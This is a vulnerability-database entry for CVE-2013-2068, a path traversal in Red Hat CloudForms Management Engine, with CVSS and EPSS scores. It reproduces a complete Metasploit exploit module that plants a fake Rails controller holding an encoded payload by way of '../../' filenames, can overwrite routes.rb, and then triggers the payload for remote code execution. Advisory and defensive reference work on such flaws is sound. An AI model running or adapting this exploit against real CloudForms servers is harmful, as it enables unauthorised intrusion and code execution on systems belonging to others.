CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Multiple directory traversal vulnerabilities in the AgentController in Red Hat CloudForms Management Engine 2.0 allow remote attackers to create and overwrite arbitrary files via a .. (dot dot) in the filename parameter to the (1) log, (2) upload, or (3) linuxpkgs method.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.4
AV:N/AC:L/Au:N/C:N/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
76.32%
–
–
2022-03-13
–
–
74.82%
–
–
2023-03-05
–
–
73.08%
–
–
2023-03-12
–
–
–
54.32%
–
2023-06-25
–
–
–
54.94%
–
2023-10-01
–
–
–
59.21%
–
2024-01-07
–
–
–
59.65%
–
2024-02-11
–
–
–
59.65%
–
2024-06-02
–
–
–
62.43%
–
2024-08-25
–
–
–
59.71%
–
2024-10-27
–
–
–
53.46%
–
2024-12-22
–
–
–
58.43%
–
2025-01-19
–
–
–
58.43%
–
2025-03-18
–
–
–
–
76.87%
2025-03-18
–
–
–
–
76.87,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize
super(
'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
'Description' => %q{
This module exploits a path traversal vulnerability in the "linuxpkgs"
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
It uploads a fake controller to the controllers directory of the Rails
application with the encoded payload as an action and sends a request to
this action to execute the payload. Optionally, it can also upload a routing
file containing a route to the action. (Which is not necessary, since the
application already contains a general default route.)
},
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-2068'],
['CWE', '22'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422']
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => true,
'Targets' =>
[
['Automatic', {}]
],
'DisclosureDate' => 'Sep 4 2013',
'DefaultOptions' =>
{
'PrependFork' => true,
'SSL' => true
},
'DefaultTarget' => 0
)
register_options(
[
Opt::RPORT(443),
OptString.new('CONTROLLER', [false, 'The name of the controller']),
OptString.new('ACTION', [false, 'The name of the action']),
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
], self.class
)
register_advanced_options(
[
OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),
], self.class)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "ping.html")
)
if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Unknown
end
def exploit
controller =
if datastore['CONTROLLER'].blank?
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
else
datastore['CONTROLLER'].downcase
end
action =
if datastore['ACTION'].blank?
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
else
datastore['ACTION'].downcase
end
data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"
print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
register_files_for_cleanup("app/controllers/#{controller}_controller.rb")
# According to rcvalle, all the version have not been checked
# so we're not sure if res.code will be always 500, in order
# to not lose sessions, just print warning and proceeding
unless res and res.code == 500
print_warning("Unexpected reply but proceeding anyway...")
end
if datastore['ROUTES']
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"
print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
res = upload_file("../../config/routes.rb", data)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
# According to rcvalle, all the version have not been checked
# so we're not sure if res.code will be always 500, in order
# to not lose sessions, just print warning and proceeding
unless res and res.code == 500
print_warning("Unexpected reply but proceeding anyway...")
end
end
print_status("Sending execute request to #{target_url(controller, action)}...")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, controller, action)
)
end
def upload_file(filename, data)
res = send_request_cgi(
'method' => datastore['HTTP_METHOD'],
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
'filename' => filename,
'md5' => Rex::Text.md5(data)
}
)
return res
end
def target_url(*args)
(ssl ? 'https' : 'http') +
if rport.to_i == 80 || rport.to_i == 443
"://#{vhost}"
else
"://#{vhost}:#{rport}"
end + normalize_uri(target_uri.path, *args)
end
end
Products Mentioned
Configuraton 0
Redhat>>Cloudforms_management_engine >> Version 5.1